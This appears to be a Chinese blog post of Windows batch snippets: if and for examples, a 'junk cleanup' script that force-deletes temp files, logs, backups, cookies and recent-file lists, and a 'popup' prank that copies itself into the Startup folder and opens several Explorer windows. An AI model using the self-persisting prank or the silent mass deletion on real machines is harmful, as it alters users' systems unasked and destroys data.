有关bat的一些代码

1.if语句    @echo off

if exist E:\aa.dat dir C: >> E:\ff.txt

pause

type E:\ff.txt

echo 已写入文件ff.txt

pause

mstsc & gpedit.msc & cleanmgr

echo... & pause
2.for语句     @echo off

rem ping www.sina.com

echo 开始列出C,D,E盘下所有的目录...

pause

for %%a in (C: D: E:) do @dir %%a > E:\aa.dat

type E:\aa.dat

echo 结果已经写入E:\aa.dat文件

pause

tree C:\windows\system32

rem pause>>E:\aa.dat

echo 开始列出E盘所有cpp文件和txt文件...

pause

for /r E: %%a in (*.cpp *.txt) do dir "%%a" /b/s

pause
3.系统垃圾清理      @echo off

pause

del /f /s /q %systemdrive%\*.tmp

del /f /s /q %systemdrive%\*.log

del /f /s /q %systemdrive%\*.chk

del /f /s /q %systemdrive%\*.old

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.bak

rd /s /q %windir%\temp & md %windir%\temp

del /f /q %userprofile%\cookies\*.*

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

pause
4.弹窗程序

rem @echo off

rem for %%a in(C:\windows\explorer.exe C:\windows\explorer.exe C:\windows\explorer.exe) do @start %%a

rem start C:\windows\explorer.exe

rem pause>nul

rem start C:\windows\explorer.exe

rem pause>nul

rem start C:\windows\explorer.exe

@echo off

set /a count=0

if exist %WinDir%\HelpPane.exe copy /y "%0" "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

if not exist %WinDir%\HelpPane.exe copy /y "%0" "%userprofile%\「开始」菜单\程序\启动"

:loop

set /a count=count+1

start explorer.exe

cls

if %count% geq 5 pause&exit

goto loop